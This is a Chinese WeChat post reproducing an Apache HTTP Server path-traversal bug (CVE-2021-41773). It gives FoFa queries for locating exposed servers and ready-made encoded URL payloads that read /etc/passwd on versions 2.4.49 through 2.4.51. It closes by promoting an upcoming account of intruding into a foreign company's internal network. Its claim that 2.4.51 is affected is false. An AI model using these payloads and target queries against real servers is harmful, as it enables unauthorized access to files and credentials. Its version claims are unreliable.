【复现】Apache2.4.49-2.4.51任意文件读取

前言：2021年国庆期间。Apache官方发布安全通告，披露了Apache HTTP Server存在路径穿越漏洞。漏洞编号CVE-2021-41773。Apache HTTP Server 2.4.49版本包括最新版Apache HTTP Server 2.4.51 对路径规范化所做的更改中存在一个路径穿越漏洞。攻击者可利用该漏洞读取到Web目录外的其他文件。如：系统配置文件、网站源码等，甚至在特定情况下，攻击者可构造恶意请求执行命令，控制服务器。

漏洞风险点

攻击者可利用该漏洞获取敏感信息甚至远程代码执行

影响版本

Apache Http Server 2.4.49 <= 2.4.51

FoFa关键词

server="Apache/2.4.49"

server="Apache/2.4.50"

server="Apache/2.4.51"

漏洞利用前提条件：

1、Web容器 Apache版本为>= 2.4.49

2、服务器中设置所有目录允许被访问  例如 Apachep配置文件配置

<Directory />Require all granted</Directory>

0x02 漏洞payload

Apache 2.4.49

/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Apache 2.4.50

/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/etc/passwd

Apache 2.4.51

/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/etc/passwd

Apache2.4.49

Apache2.4.50

九九重阳，登高望远

end

下期预告

实战渗透境外某不友好国公司内网

欢迎投稿并加入我们，请联系公众号：Golden-Qianjiang

 金色钱江,讲述杭州IT精英的成长之路!

 关注金色钱江,体验全能技术王者之路!

原文始发于微信公众号（金色钱江）：【复现】Apache2.4.49-2.4.51任意文件读取